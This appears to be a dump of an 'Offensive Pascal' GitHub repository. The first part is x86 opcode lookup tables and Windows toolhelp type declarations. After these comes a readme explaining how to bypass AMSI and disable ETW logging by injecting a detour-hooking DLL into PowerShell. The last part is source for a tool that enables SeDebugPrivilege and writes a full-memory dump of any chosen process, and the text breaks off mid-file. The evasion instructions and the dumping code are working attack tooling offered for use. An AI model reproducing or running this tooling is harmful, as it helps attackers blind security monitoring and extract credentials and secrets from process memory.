{VPGATHERQD/VPGATHERQQ}\n{0x92} 66, {VGATHERDPS/VGATHERDPD}\n{0x93} 66, {VGATHERQPS/VGATHERQPD}\n{0x94} 00, {InvalidOpCode}\n{0x95} 00, {InvalidOpCode}\n{0x96} 66, {VFMADDSUB132PS/VFMADDSUB132PD}\n{0x97} 66, {VFMSUBADD132PS/VFMSUBADD132PD}\n{0x98} 66, {VFMADD132PS/VFMADD132PD}\n{0x99} 66, {VFMADD132SS/VFMADD132SD}\n{0x9A} 66, {VFMSUB132PS/VFMSUB132PD}\n{0x9B} 66, {VFMSUB132SS/VFMSUB132SD}\n{0x9C} 66, {VFNMADD132PS/VFNMADD132PD}\n{0x9D} 66, {VFNMADD132SS/VFNMADD132SD}\n{0x9E} 66, {VFNMSUB132PS/VFNMSUB132PD}\n{0x9F} 66, {VFNMSUB132SS/VFNMSUB132SD}\n{0xA0} 00, {InvalidOpCode}\n{0xA1} 00, {InvalidOpCode}\n{0xA2} 00, {InvalidOpCode}\n{0xA3} 00, {InvalidOpCode}\n{0xA4} 00, {InvalidOpCode}\n{0xA5} 00, {InvalidOpCode}\n{0xA6} 66, {VFMADDSUB213PS/VFMADDSUB213PD}\n{0xA7} 66, {VFMSUBADD213PS/VFMSUBADD213PD}\n{0xA8} 66, {VFMADD213PS/VFMADD213PD}\n{0xA9} 66, {VFMADD213SS/VFMADD213SD}\n{0xAA} 66, {VFMSUB213PS/VFMSUB213PD}\n{0xAB} 66, {VFMSUB213SS/VFMSUB213SD}\n{0xAC} 66, {VFNMADD213PS/VFNMADD213PD}\n{0xAD} 66, {VFNMADD213SS/VFNMADD213SD}\n{0xAE} 66, {VFNMSUB213PS/VFNMSUB213PD}\n{0xAF} 66, {VFNMSUB213SS/VFNMSUB213SD}\n{0xB0} 00, {InvalidOpCode}\n{0xB1} 00, {InvalidOpCode}\n{0xB2} 00, {InvalidOpCode}\n{0xB3} 00, {InvalidOpCode}\n{0xB4} 00, {InvalidOpCode}\n{0xB5} 00, {InvalidOpCode}\n{0xB6} 66, {VFMADDSUB231PS/VFMADDSUB231PD}\n{0xB7} 66, {VFMSUBADD231PS/VFMSUBADD231PD}\n{0xB8} 66, {VFMADD231PS/VFMADD231PD}\n{0xB9} 66, {VFMADD231SS/VFMADD231SD}\n{0xBA} 66, {VFMSUB231PS/VFMSUB231PD}\n{0xBB} 66, {VFMSUB231SS/VFMSUB231SD}\n{0xBC} 66, {VFNMADD231PS/VFNMADD231PD}\n{0xBD} 66, {VFNMADD231SS/VFNMADD231SD}\n{0xBE} 66, {VFNMSUB231PS/VFNMSUB231PD}\n{0xBF} 66, {VFNMSUB231SS/VFNMSUB231SD}\n{0xC0} 00, {InvalidOpCode}\n{0xC1} 00, {InvalidOpCode}\n{0xC2} 00, {InvalidOpCode}\n{0xC3} 00, {InvalidOpCode}\n{0xC4} 00, {InvalidOpCode}\n{0xC5} 00, {InvalidOpCode}\n{0xC6} 00, {InvalidOpCode}\n{0xC7} 00, {InvalidOpCode}\n{0xC8} 01, {SHA1NEXTE}\n{0xC9} 01, {SHA1MSG1}\n{0xCA} 01, {SHA1MSG2}\n{0xCB} 01, {SHA256RNDS2}\n{0xCC} 01, {SHA256MSG1}\n{0xCD} 01, {SHA256MSG2}\n{0xCE} 00, {InvalidOpCode}\n{0xCF} 00, {InvalidOpCode}\n{0xD0} 00, {InvalidOpCode}\n{0xD1} 00, {InvalidOpCode}\n{0xD2} 00, {InvalidOpCode}\n{0xD3} 00, {InvalidOpCode}\n{0xD4} 00, {InvalidOpCode}\n{0xD5} 00, {InvalidOpCode}\n{0xD6} 00, {InvalidOpCode}\n{0xD7} 00, {InvalidOpCode}\n{0xD8} 00, {InvalidOpCode}\n{0xD9} 00, {InvalidOpCode}\n{0xDA} 00, {InvalidOpCode}\n{0xDB} 66, {VAESIMC}\n{0xDC} 66, {VAESENC}\n{0xDD} 66, {VAESENCLAST}\n{0xDE} 66, {VAESDEC}\n{0xDF} 66, {VAESDECLAST}\n{0xE0} 00, {InvalidOpCode}\n{0xE1} 00, {InvalidOpCode}\n{0xE2} 00, {InvalidOpCode}\n{0xE3} 00, {InvalidOpCode}\n{0xE4} 00, {InvalidOpCode}\n{0xE5} 00, {InvalidOpCode}\n{0xE6} 00, {InvalidOpCode}\n{0xE7} 00, {InvalidOpCode}\n{0xE8} 00, {InvalidOpCode}\n{0xE9} 00, {InvalidOpCode}\n{0xEA} 00, {InvalidOpCode}\n{0xEB} 00, {InvalidOpCode}\n{0xEC} 00, {InvalidOpCode}\n{0xED} 00, {InvalidOpCode}\n{0xEE} 00, {InvalidOpCode}\n{0xEF} 00, {InvalidOpCode}\n{0xF0} 81, {MOVBE/InvalidOpCode/CRC32}\n{0xF1} 81, {MOVBE/InvalidOpCode/CRC32}\n{0xF2} 81, {ANDNv/InvalidOpCode}\n{0xF3} 81, {group_17}\n{0xF4} 81, {InvalidOpCode}\n{0xF5} 81, {PDEPv/PEXTv/BZHIv/InvalidOpCode}\n{0xF6} 81, {MULXv/ADCX/ADOX/InvalidOpCode}\n{0xF7} 81, {SHLXv/SHRXv/SARXv/BEXTRv/InvalidOpCode}\n{0xF8} 00, {InvalidOpCode}\n{0xF9} 00, {InvalidOpCode}\n{0xFA} 00, {InvalidOpCode}\n{0xFB} 00, {InvalidOpCode}\n{0xFC} 00, {InvalidOpCode}\n{0xFD} 00, {InvalidOpCode}\n{0xFE} 00, {InvalidOpCode}\n{0xFF} 00 {InvalidOpCode}\n);\n{============================================\n                  ThreeByteTable3A                    \n============================================}\nconst ThreeByteTable3A : array[Byte] of Byte =(//\n{0x00} 82, {VPERMQ/InvalidOpCode}\n{0x01} 82, {VPERMPD/InvalidOpCode}\n{0x02} 82, {VPBLENDD/InvalidOpCode}\n{0x03} 00, {InvalidOpCode}\n{0x04} 82, {VPERMILPS/InvalidOpCode}\n{0x05} 82, {VPERMILPD/InvalidOpCode}\n{0x06} 82, {VPERM2F128/InvalidOpCode}\n{0x07} 00, {InvalidOpCode}\n{0x08} 82, {InvalidOpCode/VROUNDPS}\n{0x09} 82, {InvalidOpCode/VROUNDPD}\n{0x0A} 82, {InvalidOpCode/VROUNDSS}\n{0x0B} 82, {InvalidOpCode/VROUNDSD}\n{0x0C} 82, {InvalidOpCode/VBLENDPS}\n{0x0D} 82, {InvalidOpCode/VBLENDPD}\n{0x0E} 82, {InvalidOpCode/VPBLENDW}\n{0x0F} 77, {VPALIGNR/PALIGNR}\n{0x10} 00, {InvalidOpCode}\n{0x11} 00, {InvalidOpCode}\n{0x12} 00, {InvalidOpCode}\n{0x13} 00, {InvalidOpCode}\n{0x14} 82, {InvalidOpCode/VPEXTRB}\n{0x15} 82, {InvalidOpCode/VPEXTRW}\n{0x16} 82, {InvalidOpCode/VPEXTRD}\n{0x17} 82, {InvalidOpCode/VEXTRACTPS}\n{0x18} 82, {VINSERTF128/InvalidOpCode}\n{0x19} 82, {VEXTRACTF128/InvalidOpCode}\n{0x1A} 00, {InvalidOpCode}\n{0x1B} 00, {InvalidOpCode}\n{0x1C} 00, {InvalidOpCode}\n{0x1D} 82, {VCVTPS2PH/InvalidOpCode}\n{0x1E} 00, {InvalidOpCode}\n{0x1F} 00, {InvalidOpCode}\n{0x20} 82, {InvalidOpCode/VINSERTPS}\n{0x21} 82, {InvalidOpCode/VPINSRD}\n{0x22} 00, {InvalidOpCode}\n{0x23} 00, {InvalidOpCode}\n{0x24} 00, {InvalidOpCode}\n{0x25} 00, {InvalidOpCode}\n{0x26} 00, {InvalidOpCode}\n{0x27} 00, {InvalidOpCode}\n{0x28} 00, {InvalidOpCode}\n{0x29} 00, {InvalidOpCode}\n{0x2A} 00, {InvalidOpCode}\n{0x2B} 00, {InvalidOpCode}\n{0x2C} 00, {InvalidOpCode}\n{0x2D} 00, {InvalidOpCode}\n{0x2E} 00, {InvalidOpCode}\n{0x2F} 00, {InvalidOpCode}\n{0x30} 00, {InvalidOpCode}\n{0x31} 00, {InvalidOpCode}\n{0x32} 00, {InvalidOpCode}\n{0x33} 00, {InvalidOpCode}\n{0x34} 00, {InvalidOpCode}\n{0x35} 00, {InvalidOpCode}\n{0x36} 00, {InvalidOpCode}\n{0x37} 00, {InvalidOpCode}\n{0x38} 82, {VINSERTI128/InvalidOpCode}\n{0x39} 82, {VEXTRACTI128/InvalidOpCode}\n{0x3A} 00, {InvalidOpCode}\n{0x3B} 00, {InvalidOpCode}\n{0x3C} 00, {InvalidOpCode}\n{0x3D} 00, {InvalidOpCode}\n{0x3E} 00, {InvalidOpCode}\n{0x3F} 00, {InvalidOpCode}\n{0x40} 82, {InvalidOpCode/VDPPS}\n{0x41} 82, {InvalidOpCode/VDPPD}\n{0x42} 82, {InvalidOpCode/VMPSADBW}\n{0x43} 00, {InvalidOpCode}\n{0x44} 82, {InvalidOpCode/VPCLMULQDQ}\n{0x45} 00, {InvalidOpCode}\n{0x46} 82, {VPERM2I128/InvalidOpCode}\n{0x47} 00, {InvalidOpCode}\n{0x48} 82, {VPERMILzz2PS/InvalidOpCode}\n{0x49} 82, {VPERMILzz2PD/InvalidOpCode}\n{0x4A} 66, {VBLENDVPS/InvalidOpCode}\n{0x4B} 66, {VBLENDVPD/InvalidOpCode}\n{0x4C} 66, {VPBLENDVB/InvalidOpCode}\n{0x4D} 00, {InvalidOpCode}\n{0x4E} 00, {InvalidOpCode}\n{0x4F} 00, {InvalidOpCode}\n{0x50} 00, {InvalidOpCode}\n{0x51} 00, {InvalidOpCode}\n{0x52} 00, {InvalidOpCode}\n{0x53} 00, {InvalidOpCode}\n{0x54} 00, {InvalidOpCode}\n{0x55} 00, {InvalidOpCode}\n{0x56} 00, {InvalidOpCode}\n{0x57} 00, {InvalidOpCode}\n{0x58} 00, {InvalidOpCode}\n{0x59} 00, {InvalidOpCode}\n{0x5A} 00, {InvalidOpCode}\n{0x5B} 00, {InvalidOpCode}\n{0x5C} 66, {VFMADDSUBPS/InvalidOpCode}\n{0x5D} 66, {VFMADDSUBPD/InvalidOpCode}\n{0x5E} 66, {VFMSUBADDPS/InvalidOpCode}\n{0x5F} 66, {VFMSUBADDPD/InvalidOpCode}\n{0x60} 82, {InvalidOpCode/VPCMPESTRM}\n{0x61} 82, {InvalidOpCode/VPCMPESTRI}\n{0x62} 82, {InvalidOpCode/VPCMPISTRM}\n{0x63} 82, {InvalidOpCode/VPCMPISTRI}\n{0x64} 00, {InvalidOpCode}\n{0x65} 00, {InvalidOpCode}\n{0x66} 00, {InvalidOpCode}\n{0x67} 00, {InvalidOpCode}\n{0x68} 66, {VFMADDPS/InvalidOpCode}\n{0x69} 66, {VFMADDPD/InvalidOpCode}\n{0x6A} 66, {VFMADDSS/InvalidOpCode}\n{0x6B} 66, {VFMADDSD/InvalidOpCode}\n{0x6C} 66, {VFMSUBPS/InvalidOpCode}\n{0x6D} 66, {VFMSUBPD/InvalidOpCode}\n{0x6E} 66, {VFMSUBSS/InvalidOpCode}\n{0x6F} 66, {VFMSUBSD/InvalidOpCode}\n{0x70} 00, {InvalidOpCode}\n{0x71} 00, {InvalidOpCode}\n{0x72} 00, {InvalidOpCode}\n{0x73} 00, {InvalidOpCode}\n{0x74} 00, {InvalidOpCode}\n{0x75} 00, {InvalidOpCode}\n{0x76} 00, {InvalidOpCode}\n{0x77} 00, {InvalidOpCode}\n{0x78} 66, {VFNMADDPS/InvalidOpCode}\n{0x79} 66, {VFNMADDPD/InvalidOpCode}\n{0x7A} 66, {VFNMADDSS/InvalidOpCode}\n{0x7B} 66, {VFNMADDSD/InvalidOpCode}\n{0x7C} 66, {VFNMSUBPS/InvalidOpCode}\n{0x7D} 66, {VFNMSUBPD/InvalidOpCode}\n{0x7E} 66, {VFNMSUBSS/InvalidOpCode}\n{0x7F} 66, {VFNMSUBSD/InvalidOpCode}\n{0x80} 00, {InvalidOpCode}\n{0x81} 00, {InvalidOpCode}\n{0x82} 00, {InvalidOpCode}\n{0x83} 00, {InvalidOpCode}\n{0x84} 00, {InvalidOpCode}\n{0x85} 00, {InvalidOpCode}\n{0x86} 00, {InvalidOpCode}\n{0x87} 00, {InvalidOpCode}\n{0x88} 00, {InvalidOpCode}\n{0x89} 00, {InvalidOpCode}\n{0x8A} 00, {InvalidOpCode}\n{0x8B} 00, {InvalidOpCode}\n{0x8C} 00, {InvalidOpCode}\n{0x8D} 00, {InvalidOpCode}\n{0x8E} 00, {InvalidOpCode}\n{0x8F} 00, {InvalidOpCode}\n{0x90} 00, {InvalidOpCode}\n{0x91} 00, {InvalidOpCode}\n{0x92} 00, {InvalidOpCode}\n{0x93} 00, {InvalidOpCode}\n{0x94} 00, {InvalidOpCode}\n{0x95} 00, {InvalidOpCode}\n{0x96} 00, {InvalidOpCode}\n{0x97} 00, {InvalidOpCode}\n{0x98} 00, {InvalidOpCode}\n{0x99} 00, {InvalidOpCode}\n{0x9A} 00, {InvalidOpCode}\n{0x9B} 00, {InvalidOpCode}\n{0x9C} 00, {InvalidOpCode}\n{0x9D} 00, {InvalidOpCode}\n{0x9E} 00, {InvalidOpCode}\n{0x9F} 00, {InvalidOpCode}\n{0xA0} 00, {InvalidOpCode}\n{0xA1} 00, {InvalidOpCode}\n{0xA2} 00, {InvalidOpCode}\n{0xA3} 00, {InvalidOpCode}\n{0xA4} 00, {InvalidOpCode}\n{0xA5} 00, {InvalidOpCode}\n{0xA6} 00, {InvalidOpCode}\n{0xA7} 00, {InvalidOpCode}\n{0xA8} 00, {InvalidOpCode}\n{0xA9} 00, {InvalidOpCode}\n{0xAA} 00, {InvalidOpCode}\n{0xAB} 00, {InvalidOpCode}\n{0xAC} 00, {InvalidOpCode}\n{0xAD} 00, {InvalidOpCode}\n{0xAE} 00, {InvalidOpCode}\n{0xAF} 00, {InvalidOpCode}\n{0xB0} 00, {InvalidOpCode}\n{0xB1} 00, {InvalidOpCode}\n{0xB2} 00, {InvalidOpCode}\n{0xB3} 00, {InvalidOpCode}\n{0xB4} 00, {InvalidOpCode}\n{0xB5} 00, {InvalidOpCode}\n{0xB6} 00, {InvalidOpCode}\n{0xB7} 00, {InvalidOpCode}\n{0xB8} 00, {InvalidOpCode}\n{0xB9} 00, {InvalidOpCode}\n{0xBA} 00, {InvalidOpCode}\n{0xBB} 00, {InvalidOpCode}\n{0xBC} 00, {InvalidOpCode}\n{0xBD} 00, {InvalidOpCode}\n{0xBE} 00, {InvalidOpCode}\n{0xBF} 00, {InvalidOpCode}\n{0xC0} 00, {InvalidOpCode}\n{0xC1} 00, {InvalidOpCode}\n{0xC2} 00, {InvalidOpCode}\n{0xC3} 00, {InvalidOpCode}\n{0xC4} 00, {InvalidOpCode}\n{0xC5} 00, {InvalidOpCode}\n{0xC6} 00, {InvalidOpCode}\n{0xC7} 00, {InvalidOpCode}\n{0xC8} 00, {InvalidOpCode}\n{0xC9} 00, {InvalidOpCode}\n{0xCA} 00, {InvalidOpCode}\n{0xCB} 00, {InvalidOpCode}\n{0xCC} 20, {SHA1RNDS4}\n{0xCD} 00, {InvalidOpCode}\n{0xCE} 00, {InvalidOpCode}\n{0xCF} 00, {InvalidOpCode}\n{0xD0} 00, {InvalidOpCode}\n{0xD1} 00, {InvalidOpCode}\n{0xD2} 00, {InvalidOpCode}\n{0xD3} 00, {InvalidOpCode}\n{0xD4} 00, {InvalidOpCode}\n{0xD5} 00, {InvalidOpCode}\n{0xD6} 00, {InvalidOpCode}\n{0xD7} 00, {InvalidOpCode}\n{0xD8} 00, {InvalidOpCode}\n{0xD9} 00, {InvalidOpCode}\n{0xDA} 00, {InvalidOpCode}\n{0xDB} 00, {InvalidOpCode}\n{0xDC} 00, {InvalidOpCode}\n{0xDD} 00, {InvalidOpCode}\n{0xDE} 00, {InvalidOpCode}\n{0xDF} 82, {VAESKEYGENASSIST}\n{0xE0} 00, {InvalidOpCode}\n{0xE1} 00, {InvalidOpCode}\n{0xE2} 00, {InvalidOpCode}\n{0xE3} 00, {InvalidOpCode}\n{0xE4} 00, {InvalidOpCode}\n{0xE5} 00, {InvalidOpCode}\n{0xE6} 00, {InvalidOpCode}\n{0xE7} 00, {InvalidOpCode}\n{0xE8} 00, {InvalidOpCode}\n{0xE9} 00, {InvalidOpCode}\n{0xEA} 00, {InvalidOpCode}\n{0xEB} 00, {InvalidOpCode}\n{0xEC} 00, {InvalidOpCode}\n{0xED} 00, {InvalidOpCode}\n{0xEE} 00, {InvalidOpCode}\n{0xEF} 00, {InvalidOpCode}\n{0xF0} 83, {RORXv}\n{0xF1} 00, {InvalidOpCode}\n{0xF2} 00, {InvalidOpCode}\n{0xF3} 00, {InvalidOpCode}\n{0xF4} 00, {InvalidOpCode}\n{0xF5} 00, {InvalidOpCode}\n{0xF6} 00, {InvalidOpCode}\n{0xF7} 00, {InvalidOpCode}\n{0xF8} 00, {InvalidOpCode}\n{0xF9} 00, {InvalidOpCode}\n{0xFA} 00, {InvalidOpCode}\n{0xFB} 00, {InvalidOpCode}\n{0xFC} 00, {InvalidOpCode}\n{0xFD} 00, {InvalidOpCode}\n{0xFE} 00, {InvalidOpCode}\n{0xFF} 00 {InvalidOpCode}\n);\n"
  },
  {
    "path": "Detour Hooking/Source/TlHelp32.inc",
    "content": "{ TlHelp32 types for fpc }\n\nconst\n  TH32CS_SNAPHEAPLIST = $00000001;\n  TH32CS_SNAPPROCESS  = $00000002;\n  TH32CS_SNAPTHREAD   = $00000004;\n  TH32CS_SNAPMODULE   = $00000008;\n  TH32CS_SNAPALL      = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or\n    TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE;\n  TH32CS_INHERIT      = $80000000;\n\n  TLS_OUT_OF_INDEXES = DWORD($FFFFFFFF);  // FPC does not declare TLS_OUT_OF_INDEXES.\n\ntype \n tagTHREADENTRY32 = record\n    dwSize: DWORD;\n    cntUsage: DWORD;\n    th32ThreadID: DWORD;       \n    th32OwnerProcessID: DWORD; \n    tpBasePri: Longint;\n    tpDeltaPri: Longint;\n    dwFlags: DWORD;\n  end;\n  THREADENTRY32 = tagTHREADENTRY32;\n  PTHREADENTRY32 = ^tagTHREADENTRY32;\n  LPTHREADENTRY32 = ^tagTHREADENTRY32;\n  TThreadEntry32 = tagTHREADENTRY32;\n\n  TThread32First = function (hSnapshot: THandle; var lpte: TThreadEntry32): BOOL stdcall;\n  TThread32Next = function (hSnapshot: THandle; var lpte: TThreadENtry32): BOOL stdcall;\n  TCreateToolhelp32Snapshot = function (dwFlags, th32ProcessID: DWORD): THandle; stdcall;  \n"
  },
  {
    "path": "Detour Hooking/readme.md",
    "content": "\n\n## AMSI / ETW bypass \n\nThe idea of this project is to use Detour library to intercept and redirect functions calls within dynamic link libraries (DLL) in order to bypass AMSI (AmsiScanBuffer) and intercept the (EventWrite) function of ETW to disallow ETW logging. The following project has been coded in Pascal(FPC) and huge thanks goes to https://github.com/MahdiSafsafi/DDetours for porting the library into Delphi. \n\n## How To use \nthere are several of tools for injecting DLL into process, so you might need to have that on hand and do the following \n\n```\n- compile the project into DLL (Release / Debug)\n- inject the DLL into PowerShell Process\n- Successfully bypass AMSI / ETW \n```\n\n\n## Credits \n\nAmsiDLLHook - https://github.com/tomcarver16/AmsiHook/blob/master/AmsiHook/AmsiHook.cpp \n\nDelphi DDetours Library - https://github.com/MahdiSafsafi/DDetours/wiki \n\n\n"
  },
  {
    "path": "MiniDump/mini_dump_un.pas",
    "content": "unit mini_dump_un;\n\n{$IFDEF FPC}\n  {$MODE Delphi}\n{$ENDIF}\n\ninterface\n\nuses\n  SysUtils,JwaTlHelp32,windows;\nconst\n  //DbgHelp 6.1 and earlier:  This value is not supported.\n  MemoryInfoListStream        = 16;\n  ThreadInfoListStream        = 17;\n  HandleOperationListStream   = 18;\n\n  //MINIDUMP_TYPE\n  MiniDumpWithoutOptionalData              = $00000400;\n  MiniDumpWithFullMemoryInfo               = $00000800;\n  MiniDumpWithThreadInfo                   = $00001000;\n  MiniDumpWithCodeSegs                     = $00002000;\n  MiniDumpWithoutAuxiliaryState            = $00004000;\n  MiniDumpWithFullAuxiliaryState           = $00008000;\n  MiniDumpWithPrivateWriteCopyMemory       = $00010000;\n  MiniDumpIgnoreInaccessibleMemory         = $00020000;\n  MiniDumpWithTokenInformation             = $00040000;\n\ntype\n  PMINIDUMP_THREAD_INFO = ^MINIDUMP_THREAD_INFO;\n  {$EXTERNALSYM PMINIDUMP_THREAD_INFO}\n  _MINIDUMP_THREAD_INFO = record\n    ThreadId,\n    DumpFlags,                   //The flags that indicate the thread state. This member can be 0 or one of the MINIDUMP_THREAD_INFO_xxx values.\n    DumpError,                   //An HRESULT value that indicates the dump status.\n    ExitStatus: ULONG32;         //The thread termination status code.\n    CreateTime,                  //The time when the thread was created, in 100-nanosecond intervals since January 1, 1601 (UTC).\n    ExitTime,                    //The time when the thread exited, in 100-nanosecond intervals since January 1, 1601 (UTC).\n    KernelTime,                  //The time executed in kernel mode, in 100-nanosecond intervals.\n    UserTime,                    //The time executed in user mode, in 100-nanosecond intervals.\n    StartAddress,                //The starting address of the thread.\n    Affinity: ULONG64;           //The processor affinity mask.\n\n    //MINIDUMP_THREAD_INFO.DumpFlags: The flags that indicate the thread state:\n    const\n      //A placeholder thread due to an error accessing the thread. No thread information exists beyond the thread identifier.\n      MINIDUMP_THREAD_INFO_ERROR_THREAD = $00000001;\n      //The thread has exited (not running any code) at the time of the dump.\n      MINIDUMP_THREAD_INFO_EXITED_THREAD = $00000004;\n      //Thread context could not be retrieved.\n      MINIDUMP_THREAD_INFO_INVALID_CONTEXT = $00000010;\n      //Thread information could not be retrieved.\n      MINIDUMP_THREAD_INFO_INVALID_INFO = $00000008;\n      //TEB information could not be retrieved.\n      MINIDUMP_THREAD_INFO_INVALID_TEB = $00000020;\n      //This is the thread that called MiniDumpWriteDump.\n      MINIDUMP_THREAD_INFO_WRITING_THREAD = $00000002;\n  end;\n  {$EXTERNALSYM _MINIDUMP_THREAD_INFO}\n  MINIDUMP_THREAD_INFO = _MINIDUMP_THREAD_INFO;\n  {$EXTERNALSYM MINIDUMP_THREAD_INFO}\n  TMinidumpThread_INFO = MINIDUMP_THREAD_INFO;\n  PMinidumpThread_INFO = PMINIDUMP_THREAD_INFO;\n\n  PMINIDUMP_THREAD_INFO_LIST = ^MINIDUMP_THREAD_INFO_LIST;\n  _MINIDUMP_THREAD_INFO_LIST = record\n    SizeOfHeader,                //The size of the header data for the stream, in bytes. This is generally sizeof(MINIDUMP_THREAD_INFO_LIST).\n    SizeOfEntry: ULONG;          //The size of each entry following the header, in bytes. This is generally sizeof(MINIDUMP_THREAD_INFO).\n    NumberOfEntries: ULONG64;    //The number of entries in the stream. These are generally MINIDUMP_THREAD_INFO structures. The entries follow the header.\n    Threads: array[0..0] of _MINIDUMP_THREAD_INFO;\n  end;\n  MINIDUMP_THREAD_INFO_LIST = _MINIDUMP_THREAD_INFO_LIST;\n  TMinidumpThread_INFO_LIST = MINIDUMP_THREAD_INFO_LIST;\n  PMinidumpThread_INFO_LIST = PMINIDUMP_THREAD_INFO_LIST;\n\n\n\n\nprocedure MakeMinidump(aPID:DWORD; const aOutputFile: string);\n\nimplementation\n\nuses\n  JwaImageHlp;\n\n\n\nfunction MiniDumpWriteDump(hProcess: THANDLE; ProcessId: DWORD; hFile: THANDLE; DumpType: DWORD; ExceptionParam: pointer; UserStreamParam: pointer; CallbackParam: pointer): BOOL; stdcall;\n    external 'dbghelp.dll' name 'MiniDumpWriteDump';\n//{$EXTERNALSYM MiniDumpWriteDump}\n\nconst\n  SE_DEBUG_NAME = 'SeDebugPrivilege';     //this is needed for deugging memeory\n\n\n  Function ProcessIDFromAppname32( appname: String ): DWORD;\n    { Take only the application filename, not full path! }\n    Var\n  \tsnapshot: THandle;\n  \tprocessEntry : TProcessEntry32;\n    Begin\n  \tResult := 0;\n  \tappName := UpperCase( appname );\n  \tsnapshot := CreateToolhelp32Snapshot(\n  \t\t\t\t  TH32CS_SNAPPROCESS,\n  \t\t\t\t  0 );\n  \tIf snapshot <> 0 Then\n  \ttry\n  \t  processEntry.dwSize := Sizeof( processEntry );\n  \t  If Process32First( snapshot, processEntry ) Then\n  \t  Repeat\n  \t\tIf Pos(appname,\n  \t\t\t   UpperCase(ExtractFilename(\n  \t\t\t\t\t\t\t StrPas(processEntry.szExeFile)))) > 0\n  \t\tThen Begin\n  \t\t  Result:= processEntry.th32ProcessID;\n  \t\t  Break;\n  \t\tEnd; { If }\n  \t  Until not Process32Next( snapshot, processEntry );\n  \tfinally\n  \t  CloseHandle( snapshot );\n  \tEnd; { try }\n    End;\n\n  function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean;\n  var\n    hToken: THandle;\n    TokenPriv: TOKEN_PRIVILEGES;\n    PrevTokenPriv: TOKEN_PRIVILEGES;\n    ReturnLength: Cardinal;\n  begin\n    Result := True;\n    // Only for Windows NT/2000/XP and later.\n    if not (Win32Platform = VER_PLATFORM_WIN32_NT) then Exit;\n    Result := False;\n\n    // obtain the processes token\n    if OpenProcessToken(GetCurrentProcess(),\n      TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then\n    begin\n      try\n        // Get the locally unique identifier (LUID) .\n        if LookupPrivilegeValue(nil, PChar(sPrivilege),\n          TokenPriv.Privileges[0].Luid) then\n        begin\n          TokenPriv.PrivilegeCount := 1; // one privilege to set\n\n          case bEnabled of\n            True: TokenPriv.Privileges[0].Attributes  := SE_PRIVILEGE_ENABLED;\n            False: TokenPriv.Privileges[0].Attributes := 0;\n          end;\n\n          ReturnLength := 0; // replaces a var parameter\n          PrevTokenPriv := TokenPriv;\n\n          // enable or disable the privilege\n\n          AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),\n            PrevTokenPriv, ReturnLength);\n        end;\n      finally\n        CloseHandle(hToken);\n      end;\n    end;\n    // test the return value of AdjustTokenPrivileges.\n    Result := GetLastError = ERROR_SUCCESS;\n    if not Result then\n      raise Exception.Create(SysErrorMessage(GetLastError));\n  end;\n\nprocedure MakeMinidump(aPID:DWORD; const aOutputFile: string);\nvar\n  hProc,\n  hFile,snapshotHandle: THandle;\n  sFile: string;\nbegin\n  NTSetPrivilege(SE_DEBUG_NAME,true);\n   snapshotHandle := 0;\n\n  sFile  := aOutputFile;\n  hProc  := OpenProcess(PROCESS_ALL_Access, false, aPID);\n  hFile  := CreateFile(PChar(sFile),\n                      GENERIC_ALL,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);\n  try\n    if not MiniDumpWriteDump(hproc,\n        aPID,\n        hFile,\n       MiniDumpWithFullMemory,\n        nil, nil ,nil)\n    then\n      RaiseLastOSError;\n  finally\n    FileClose(hfile);\n  end;\nend;\nend.\n\n\n"
  },
  {
    "path": "MiniDump/minidump.lpi",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n    <General>\n      <Flags>\n        <MainUnitHasCreateFormStatements Value=\"False\"/>\n        <MainUnitHasScaledStatement Value=\"False\"/>\n      </Flags>\n      <SessionStorage Value=\"InProjectDir\"/>\n      <Title Value=\"MiniDump\"/>\n      <UseAppBundle Value=\"False\"/>\n      <ResourceType Value=\"res\"/>\n    </General>\n    <BuildModes>\n      <Item Name=\"Default\" Default=\"True\"/>\n    </BuildModes>\n    <PublishOptions>\n      <Version Value=\"2\"/>\n      <UseFileFilters Value=\"True\"/>\n    </PublishOptions>\n    <RunParams>\n      <FormatVersion Value=\"2\"/>\n    </RunParams>\n    <Units>\n      <Unit>\n        <Filename Value=\"minidump.lpr\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit>\n      <Unit>\n        <Filename Value=\"mini_dump_un.pas\"/>\n        <IsPartOfProject Value=\"True\"/>\n      </Unit>\n    </Units>\n  </ProjectOptions>\n  <CompilerOptions>\n    <Version Value=\"11\"/>\n    <PathDelim Value=\"\\\"/>\n    <Target>\n      <Filename Value=\"minidump\"/>\n    </Target>\n    <SearchPaths>\n      <IncludeFiles Value=\"$(ProjOutDir)\"/>\n      <UnitOutputDirectory Value=\"lib\\$(TargetCPU)-$(TargetOS)\"/>\n    </SearchPaths>\n  </CompilerOptions>\n  <Debugging>\n    <Exceptions>\n      <Item>\n        <Name Value=\"EAbort\"/>\n      </Item>\n      <Item>\n        <Name Value=\"ECodetoolError\"/>\n      </Item>\n      <Item>\n        <Name Value=\"EFOpenError\"/>\n      </Item>\n    </Exceptions>\n  </Debugging>\n</CONFIG>\n"
  },
  {
    "path": "MiniDump/minidump.lpr",
    "content": "\n  {\n\n   this one is part of repo published on github under the name of Offensive Pascal\n   Pascal is a great and still up to date :)\n\n   these projects can be compilied using FreePascal (FPC)\n   or Delphi\n\n  }\n\n\nprogram minidump;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}\n  cthreads,\n  {$ENDIF}\n  Classes, SysUtils, CustApp,JwaTlHelp32,windows, mini_dump_un;\n\n // imported API\n//function MiniDumpWriteDump(hProcess: THANDLE; ProcessId: DWORD; hFile: THANDLE; DumpType: DWORD; ExceptionParam: pointer; UserStreamParam: pointer; CallbackParam: pointer): BOOL; stdcall;\n   //external 'dbghelp.dll' name 'MiniDumpWriteDump';\n\n\ntype\n\n  { TMiniDump }\n\n  TMiniDump = class(TCustomApplication)\n  protected\n    procedure DoRun; override;\n  public\n    procedure dump; virtual;\n  end;\n\n{ TMiniDump }\n\n\n\nFunction ProcessIDFromAppname32( appname: String ): DWORD;\n   { Take only the application filename, not full path! }\n   Var\n \tsnapshot: THandle;\n \tprocessEntry : TProcessEntry32;\n   